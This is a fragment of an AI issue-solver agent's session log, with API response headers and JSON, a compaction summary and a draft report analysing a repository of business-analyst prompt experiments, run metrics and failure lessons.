deterministic_share = 1.0 even with junk output, so the ADR-018 \\\"<95% after 10 tasks\\\" trigger never fires.\\n  - \u0413-31: halt is terminal, so there is no resume.\\n  - \u0413-32: one mistyped transition to n9 blocks the task permanently (P12).\\n  - \u0413-33: EP-R7 allows 1 corrective attempt, but the package uses 0.\\n  - \u0413-35: append-only digest-chain journal confirmed.\\n  - \u0413-37\u201339: clients, MCP (\\\"model-controlled\\\") and hooks cannot guarantee step order.\\n  - \u0413-41: client instability (Roo Code archived, Kilo orchestrator deprecated, Gemini CLI paid-only from 2026-06-18, Cline v4 renamed tools).\\n  - \u0413-42: GigaCode CLI provenance and hooks unverified.\\n  - Environments table: env 1 GigaCode CLI (BA drives the route manually), env 2 Cline + Mango AI via OpenAI-compatible API (the model drives the route), env 3 Qwen Chat, env 4 server.\\n  - Options matrix \u0412-0\u2026\u0412-10 against criteria \u041a1\u2013\u041a8:\\n    - Recommendation 1 = \u0412-1: runner as leader on the BA workstation.\\n    - Recommendation 2 = \u0412-3: server runner with FastAPI + FSM + Postgres, optionally LangGraph (MIT library) as \u0412-4.\\n    - n8n only as a shell (\u0412-7), not the core (\u0412-6). Reasons: CVE-2026-21858 (CVSS 10.0), graph redrawn in n8n, AI Agent node non-deterministic, Business tier \u20ac667/month.\\n    - Rejected: Dify/Flowise, Windmill/Kestra/Prefect, Camunda/Operaton, Temporal (overkill).\\n    - \u0413-54: the deferred external-engine option needs a revisit trigger (multi-user, waits longer than a session, shared journal, i.e. env 4).\\n\\n4. Errors and fixes\\n\\n- The first `git diff --stat main origin/issue-639... -- research/ba-requirements` returned empty. Investigation showed the branch is already merged into main (merge-base equals the branch tip, 0 commits ahead), so this is not an error, just a finding.\\n- One large output was persisted to a file and read via the Read tool.\\n\\n5. Problem Solving\\n\\n- Established that the branch diff is empty for research/ba-requirements, and located the #639 deliverables in projects/ba-ai-process instead.\\n- Could not find the exact wording of the cognitive-operations hypothesis. Assembled a chain of evidence from several files instead.\\n- Found the README vs facts-file wording discrepancy for D3/D4.\\n\\n6. All user messages\\n\\n- A single task message, as summarized in section 1. It includes the verbatim constraints \\\"Research task (read-only; do NOT modify repository files; write notes only to /tmp/research-notes/ba-requirements.md, mkdir -p first)\\\", the requirements \\\"Cite every fact with the repo path. Do not invent numbers.\\\", and the URL formats for main and branch-only files.\\n- The final instruction to produce a text-only summary with no tools applies only to this summary turn.\\n\\n7. Pending Tasks\\n\\n- Write the full report to /tmp/research-notes/ba-requirements.md (the directory already exists). This is the only allowed write location.\\n- Return a concise summary to the caller (up to about 1500 words) covering items 1\u20135, with absolute URLs and paths.\\n- Optionally skim the remaining runtime-options sections (\\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1/2\\\", \\\"\u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\\", \\\"\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\\" around lines 310\u2013486) and the cline-gap doc for extra facts.\\n\\n8. Current Work\\n\\nI had just read lines 126\u2013310 of projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md (Layers 1\u20133, the options matrix, hypotheses \u0413-26\u2026\u0413-54, and the target Mermaid schema). All core facts for items 1\u20135 have been gathered.\\n\\n9. Optional Next Step\\n\\nWrite /tmp/research-notes/ba-requirements.md with the complete cited report (sections 1\u20135 as above, using main URLs, and noting that #639 is already merged so branch URLs are equivalent). Then return the concise summary, following the user's instruction to \\\"Write the full report to the notes file and return a concise summary (up to ~1500 words).\\\"\\n\\nIf you need specific details from before compaction (like exact code snippets, error messages, or content you generated), read the full transcript at: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de.jsonl\\nContinue the conversation from where it left off without asking the user any further questions. Resume directly \u2014 do not acknowledge the summary, do not recap what was happening, do not preface with \\\"I'll continue\\\" or similar. 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\"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:09.013Z] [STDOUT]     traceresponse: \"00-03ab6d40276d53e2a48daa7107c92898-04a317613dfb5a92-01\",\n[2026-09-29T07:48:09.077Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:09.090Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:48:09.104Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:09.114Z] [STDOUT]   },\n[2026-09-29T07:48:09.137Z] [STDOUT]   durationMs: 813,\n[2026-09-29T07:48:09.156Z] [STDOUT] }\n[2026-09-29T07:48:09.167Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:48:09.179Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:48:08 GMT\",\n[2026-09-29T07:48:09.209Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:48:09.213Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:48:09.237Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:48:09.336Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:48:09.350Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:48:09.358Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:48:09.364Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:48:09.370Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:48:09.375Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:48:09.379Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:48:09.383Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:48:09.391Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:48:09.393Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:48:09.396Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:48:09.400Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:48:09.403Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:48:09.406Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:48:09.408Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:48:09.410Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:48:09.418Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:48:09.432Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:48:09.439Z] [STDOUT]   \"request-id\": \"req_011CfXMxnJ98thjJPG9kSVy4\",\n[2026-09-29T07:48:09.443Z] [STDOUT]   \"traceresponse\": \"00-03ab6d40276d53e2a48daa7107c92898-04a317613dfb5a92-01\",\n[2026-09-29T07:48:09.450Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:48:09.460Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:48:09.468Z] [STDOUT]   \"anthropic-thinking-prefix-mismatch\": \"kind=not_recorded; pattern=not_applicable; block=messages.2.content.0; removed=0; inserted=0; modified=0\",\n[2026-09-29T07:48:09.484Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:48:09.489Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:48:09.495Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:48:09.499Z] [STDOUT]   \"cf-ray\": \"a429623d696701ff-CDG\",\n[2026-09-29T07:48:09.505Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:48:09.508Z] [STDOUT] [log_c78a1f] response parsed {\n[2026-09-29T07:48:09.516Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:09.527Z] [STDOUT]   status: 200,\n[2026-09-29T07:48:09.533Z] [STDOUT]   body: X {\n[2026-09-29T07:48:09.536Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:48:09.538Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:48:09.540Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:48:09.543Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:48:09.546Z] [STDOUT]     },\n[2026-09-29T07:48:09.550Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:48:09.553Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:48:09.556Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:48:09.563Z] [STDOUT]   },\n[2026-09-29T07:48:09.569Z] [STDOUT]   durationMs: 817,\n[2026-09-29T07:48:09.575Z] [STDOUT] }\n[2026-09-29T07:48:09.991Z] [INFO] {\n[2026-09-29T07:48:09.991Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:09.991Z] [INFO]   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[INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     ],\n[2026-09-29T07:48:09.991Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:09.991Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:09.991Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_creation_input_tokens\": 15992,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:09.991Z] [INFO]         \"ephemeral_5m_input_tokens\": 15992,\n[2026-09-29T07:48:09.991Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:09.991Z] [INFO]       },\n[2026-09-29T07:48:09.991Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:09.991Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:09.991Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:09.991Z] [INFO]     },\n[2026-09-29T07:48:09.991Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:48:09.991Z] [INFO]       {\n[2026-09-29T07:48:09.991Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:48:09.991Z] [INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     ],\n[2026-09-29T07:48:09.991Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:48:09.991Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:48:09.991Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:48:09.991Z] [INFO]         \"cache_missed_input_tokens\": 14294\n[2026-09-29T07:48:09.991Z] [INFO]       }\n[2026-09-29T07:48:09.991Z] [INFO]     },\n[2026-09-29T07:48:09.991Z] [INFO]     \"context_management\": null\n[2026-09-29T07:48:09.991Z] [INFO]   },\n[2026-09-29T07:48:09.991Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"uuid\": \"3a89a7cf-fafc-4dc3-a5a7-146e31f06506\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:09.975Z\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"request_id\": \"req_011CfXMxnJ98thjJPG9kSVy4\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:09.991Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:48:09.991Z] [INFO] }\n[2026-09-29T07:48:10.971Z] [INFO] {\n[2026-09-29T07:48:10.971Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:10.971Z] [INFO]   \"message\": {\n[2026-09-29T07:48:10.971Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:10.971Z] [INFO]     \"id\": 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{\n[2026-09-29T07:48:10.971Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:48:10.971Z] [INFO]         }\n[2026-09-29T07:48:10.971Z] [INFO]       }\n[2026-09-29T07:48:10.971Z] [INFO]     ],\n[2026-09-29T07:48:10.971Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:10.971Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:10.971Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_creation_input_tokens\": 15992,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_read_input_tokens\": 5547,\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:10.971Z] [INFO]         \"ephemeral_5m_input_tokens\": 15992,\n[2026-09-29T07:48:10.971Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:48:10.971Z] [INFO]       },\n[2026-09-29T07:48:10.971Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:48:10.971Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:48:10.971Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:48:10.971Z] [INFO]     },\n[2026-09-29T07:48:10.971Z] [INFO]     \"input_transformations\": [\n[2026-09-29T07:48:10.971Z] [INFO]       {\n[2026-09-29T07:48:10.971Z] [INFO]         \"type\": \"thinking_dropped\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"path\": \"messages.2.content.0\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"reason\": \"prefix_binding_mismatch\"\n[2026-09-29T07:48:10.971Z] [INFO]       }\n[2026-09-29T07:48:10.971Z] [INFO]     ],\n[2026-09-29T07:48:10.971Z] [INFO]     \"diagnostics\": {\n[2026-09-29T07:48:10.971Z] [INFO]       \"cache_miss_reason\": {\n[2026-09-29T07:48:10.971Z] [INFO]         \"type\": \"messages_changed\",\n[2026-09-29T07:48:10.971Z] [INFO]         \"cache_missed_input_tokens\": 14294\n[2026-09-29T07:48:10.971Z] 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Other branches: gh-pages, revert-340-issue-339-c354031e9147.\\nURL format: https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/\\n\\n## 0. Git statistics\\n- 583 commits = 174 merge + 409 non-merge.\\n- By month (all / non-merge): 2026-06 267/193; 2026-07 9/7; 2026-08 269/179; 2026-09 38/30.\\n- Authors: konard 442 (AI issue solver, hive-mind: issue -> PR), Ivan Gulienko 140, other 1.\\n- First commit 53506bc 2026-06-02 \\\"Add files via upload\\\" (README.md only). Last 317a0a1 2026-09-28.\\n\\n## 1. Top-level structure (file counts)\\n- ai-governance/ (4) - constitution, security checklist (ai-governance/ai-governance.md).\\n- ai-rules/ (6) - ai-quick-rules.md (fail-closed), handover prompt, onboarding protocol v1.5, adversarial stress testing.\\n- docs/ (86) - adr/ (ADR 001-010, 0001-0004, 2026-08-adr-011-integration-task-artifacts.md), analysis/, audit/, report/, rfc/, ba-processes/, taxonomy.md, ba-ecosystem.md.\\n- experiments/ (101) - per-issue run fixation / statistics / verification scripts.\\n- kb/ (41) - README, USAGE, STRUCTURE_REVIEW, practices/source-backed-analysis.md, sources/*/meta.json; processed content moved to sister repo G-Ivan-A/mango-ba-ai-runtime (issue #361, pinned commit ed42b3cd0eed2774c9b080232ca00484d9a4f7cd; scripts/kb/runtime_snapshot.py).\\n- patterns/ (15) - 7 patterns: asr-ingestion, fr-generation, fr-validation, glossary-context-generation, meeting-summary-generation, usecase-generation, user-story-generation.\\n- pr-ops/ (8) - BACKLOG.md, artifact-map, migration manifest/registries, prompt-feedback.json, session digests, sync matrix.\\n- prompts/ (34) - 26 top-level prompt files (modes oneshot / stepwise / legacy) + archive/.\\n- runs/ (697 files) - 69 run directories.\\n- scripts/ (60) - validators (validate_issue_*.py, validate_all.py), generators, chat-export converters, kb/.\\n- site/ (26) - SPA (Catalog, Dashboard, Roadmap, Processes, Patterns) + password-protected report run-0060.\\n- standards/ (20) - prompt, pattern, runs-contract, evals-contract, kb, bcreq-process, prompt-debugging-process, experiment-log, cascading-context-loading, ontology, ...\\n- tools/ (5) - Hub validators (frontmatter, file naming, structure).\\n- .github/ (ISSUE_TEMPLATE incl. run Issue Forms, workflows/validate.yml CI), .archive/.\\n- Root: README.md (v2.4), CHANGELOG.md (~216 KB), CONTRIBUTING.md, Makefile (validate / validate-full), LICENSE (MIT), .hub-profile.json.\\n- Origin: spoke of Hub monorepo G-Ivan-A/hybrid-Intelligence-lab; taxonomy 13 cognitive operations x 9 BA processes (docs/taxonomy.md, commit 00d2072, issue #52).\\n\\n## 2. Runs\\nCounting method: `ls -d runs/2026/RUN-*` -> 69 directories RUN-0001..RUN-0069, contiguous, all with metadata.yaml (parsed with PyYAML).\\n- run_type: statistics 48, execution 21 (field introduced by issue #293, commit db54905).\\n- status: draft 37, works-with-edits 19, partial-success 8, success 2 (RUN-0006, RUN-0060), experimental 1, needs-rework 1 (RUN-0020), invalid 1 (RUN-0063, superseded by RUN-0064 -> RUN-0067).\\n- Metadata date range: 2026-04-10 (RUN-0027) .. 2026-09-28 (RUN-0068, RUN-0069). Git history starts 2026-06-02 -> earlier runs were fixed retroactively from chat exports.\\n- RUN-0001..0012 migrated in Phase 0 (issue #123). RUN-0030..0054 = 25 chat exports fixed by experiments/issue_309_fixate_runs.py (commit 946e605, 2026-08-22).\\n- Record structure (standards/runs-contract-standard.md): runs/YYYY/RUN-XXXX/{metadata.yaml, inputs/, outputs/, feedback/, logs/}; metrics block per issue #271 (commit 5d70a60). Field presence: metrics 56/69, feedback 56, logs 59, inputs 59, related_runs 32.\\n- Models: Qwen web chat family dominant (qwen3.5/3.6/3.7-plus, qwen3-max variants, qwen3-235b-a22b, qwen3-coder-plus, qwen3-vl-30b-a3b, qwen3.8-max-preview); claude-opus-5 x7, claude-opus-5-5 x2, claude-opus-4-8 x1 (RUN-0012), gpt-5.6-sol x4 (RUN-0062..0065); not-recorded x10. RUN-0055: qwen3.7-plus + claude-opus-5 verification.\\n- Authors: \\\"BA/AI\\\" (early) -> \\\"BA-IH + LLM\\\" -> \\\"AI issue solver (claude-opus-5) \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" / \\\"AI issue solver (Claude Code)\\\" (RUN-0067) / \\\"OpenAI Codex\\\" (RUN-0064).\\n\\nTask categories (runs/README.md registry):\\n- prompt experiments, audits, self-tests (RUN-0001..0005);\\n- FR generation / validation / drafting for BCREQ tickets and Mango integrations (amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru);\\n- clarifying questions, meeting-transcript analysis;\\n- tender TZ feasibility assessment (Utair.Chat, STT/TTS/NLU, task-1099 telephony, BCREQ-1114);\\n- gap analysis / architecture spikes HH.ru <-> Mango CC (RUN-0056..0060);\\n- link-review statistics (RUN-0061); FR rework chain RUN-0063 -> 0064 -> 0067.\\n\\nAggregated metrics (sum over runs where field present; heterogeneous self-reported metrics, not a benchmark):\\n- hallucinations: 11 runs (RUN-0015,16,18,21,22,24-29): 41 total, 12 reached final artifacts.\\n- quality (1-5 scale): 10 runs, all = 3 except RUN-0028 = 2. RUN-0014: quality 2, defects 5, factual_distortions 1, target artifact \\\"not-produced\\\", success_rate 0.25.\\n- success_rate: 19 runs, mean ~0.67, range 0.25-1.0 (RUN-0019 0.29, RUN-0022 0.92, RUN-0058/59/60 1.0).\\n- RUN-0013 (top-level metadata): success_rate \\\"0.62 (75 \u0438\u0437 121 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0411\u0410 \u0431\u0435\u0437 \u044f\u0432\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438/\u043a\u0440\u0438\u0442\u0438\u043a\u0438 ...)\\\", tokens_input 79,405,522, tokens_output 543,180, 242 turns, 44 calendar days.\\n- ba_edits: 10 runs, 53 total. episodes: 42 runs, 1095 total.\\n- tokens_dialog_total: [REDACTED] runs ~62.1M; tokens_input: [REDACTED] runs ~60.4M; tokens_output: [REDACTED] runs ~1.96M; duration_active_s: 41 runs ~103.5 h.\\n- Other formats: RUN-0017 2,536,400 tokens / 3.04 h; RUN-0020 15.65M tokens, max context 523,249, 92.78 h wall-clock.\\n- DATA-QUALITY FLAG: RUN-0025 tokens_output/thinking (15262/6614) equal RUN-0015; RUN-0025 tokens_input 1322626 = RUN-0015 tokens_context_refeed_sum -> possible copy error.\\n- Feasibility outputs: RUN-0056 7/10 FR fully assessed, 7 critical gaps; RUN-0057 101 requirements, 64/101 = 0.63 covered, coverage_none 37, 16 vendor questions, 7 pilot spikes; RUN-0066 386 assessed: 338 yes / 34 partial / 14 no, 702 atomic citations; RUN-0068 22 reqs: 3 yes / 7 partial / 11 no / 1 empty, 20 atomic citations, template_v4_matches_over_90 = 0; RUN-0069 59 reqs: 20/15/14/10, template_v4_max_similarity 0.638.\\n\\n## 3. Evolution timeline (non-merge commits)\\nPhase 1 - Bootstrap / Hub->spoke (2026-06-02..06-05): d159ab2 audit + migration RFC; 0c10eda bootstrap; ee90e7b normalize prompts; 8deffc8 migration manifest.\\nPhase 2 - From one PDF to a standard (06-10..06-11): 3a265e6 original \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" attached (#54); d8a4759 split into 23 standardized prompts (18 new, 5 legacy, 6 archived) (#56); 00d2072 taxonomy 13 ops x 9 processes (#52); 430fe9b prompt/pattern standards; 748ff6d ADR-001.\\nPhase 3 - Methodology layer (06-13..06-16): 9eef477 GitHub Pages; 23115c6 MVP pattern library; ADR-003..010 incl. 37dc51c ADR-007 \\\"KB standard before RAG\\\" and 1885f7d ADR-009 (6 subprocesses, human gates G1-G3); 0363a44 experiment-1027 analysis (first real BA session); 2abf5e6 rollback of prompt edits to v0.1 + prompt-debugging contract (#101) - TURNING POINT: no prompt change without experiment -> RFC -> approval.\\nPhase 4 - Evidence infrastructure (06-17..06-20): 7fb2b3b BCREQ-1025 experiment + RFC; a3784c4 KB ingestion pipeline (#111); 482b316 CI regression validator; LFS PDFs; b4269ad runs/ with execution contract; c4163a1 cascading context loading.\\nLull (07-03..07-14): KB after LFS cleanup; dd20da9 RUN-0012.\\nPhase 5 - Measurement (08-17..08-22): vision correction (#263, admits no evals/golden-set); Hub re-sync (#265); e5e84d0 onboarding v1.5 + Hub validators (#267); mass fixation RUN-0013..0029 (08-21); 5d70a60 metrics contract (#271); db54905 run types (#293); 091c768 canonical root (#291); 946e605 25 chat exports -> RUN-0030..0054; ae187ca KB 4 PDFs + anti-hallucination cross-check (#310).\\nPhase 6 - Structured integration/feasibility (08-23..08-28): RUN-0055..0061; 37bb44a Issue Forms for runs (#323); 1dcca69 ADR-011 L1/L4 integration artifacts + task-taxonomy RFC (#335); 7369989 password-protected web report.\\nPhase 7 - Fail-closed citations + RCA (08-31..09-03): c4902e0 revert of a flawed L0 run; RUN-0062..0067; a661e1b citation pagination verification; 00295d5 RCA (RUN-0065 vs 0066); 3c53cbe RUN-0067 rework.\\nPhase 8 - KB externalized to runtime (09-26): cce374d, f64672c, c6471da (issue #361). 09-28: 46a7ebe RUN-0068, dba7b47 RUN-0069 (source transcription with SHA-256 + char-level validator).\\n\\n## 4. Lessons / failure modes (quotes)\\n- A/B RCA docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md (issue #353), 65 rows, gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066): verdict accuracy 31/65 = 47.7% vs 100%; page accuracy 17/45 = 37.8% vs 64/64; hallucinated pages (delta > 2) 28/65 = 43.1% vs 0%; decomposition quality 0% vs 100%. Root cause: page numbers from a hand-made EVIDENCE dictionary replicated by lexical rules; validator checked link shape, not frontmatter.\\n- docs/report/2026-09-01-kb-assessment-error-analysis.md (issue #349): RUN-0062 narrowed SSOT to 3 modules -> \\\"missing data\\\" turned into \\\"missing capability\\\"; RUN-0065 keyword heuristic; both validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\". New rules: full KB index first -> web only on trusted Mango domains -> \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" only with escalation log; atomic decomposition; technical critic.\\n- runs/2026/RUN-0064/reports/error-analysis.md (issue #345), 8 errors: contract violation 3, missing contract 2, prompt ambiguity 2, technical limitation 1. Examples: existing functionality issued as new FR; hypothesis promoted to fact; ignored screenshot with \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\"; scope creep to access rights; flip-flop on detail rows; stopped at questions without final FR. Root cause: no gate between current state and required delta. Fix: matrix \\\"SSOT -> \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 -> \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 -> FR -> \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438\\\", fail-closed on empty source, screenshot/KB gate, decision log, two independent CBAP/eTOM passes.\\n- kb/practices/source-backed-analysis.md anti-example: \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (hallucinated standard).\\n- docs/analysis/experiment-1027-analysis.md (issue #101): hypothesis H1 \\\"\u0418\u0418 \u0432\u043e\u0441\u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u0447\u0438\\\" - partially confirmed.\\n- RUN-0014: target artifact not produced, 5 defects, 1 factual distortion.\\n- Many runs explicitly marked \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (CHANGELOG); scripts/validate_issue_272_run_0019.py checks this wording.\\n- Honest gap: \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (README.md, ai-governance/ai-governance.md:90, pr-ops/BACKLOG.md:324, issue #263). standards/evals-contract-standard.md defines the form; no golden-set exists.\\n- DoD principle (governance): \\\"\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0411\u0410 \u043e\u0431\u044f\u0437\u0430\u043d\u0430 \u0438\u043c\u0435\u0442\u044c \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u2014 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442, evals-\u043c\u0435\u0442\u0440\u0438\u043a\u0443 \u0438\u043b\u0438 human-in-the-loop gate. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439.\\\"\\n\\n## 5. Target-pipeline artifacts (mapping)\\n- Normalization of input: RUN-0068 experiments/issue_363/source_transcription.json (row text + SHA-256 per screenshot), generate_run.py copies cols 1-2 verbatim, scripts/validate_issue_363_run.py compares char-by-char (negative test \\\"\u0441\u043e\u0442\u043e\u0432\u044b\u0439\\\"->\\\"\u0441\u043e\u0442\u043e\u0432\u043e\u0439\\\" -> FAIL). ADR-011 step 1: download 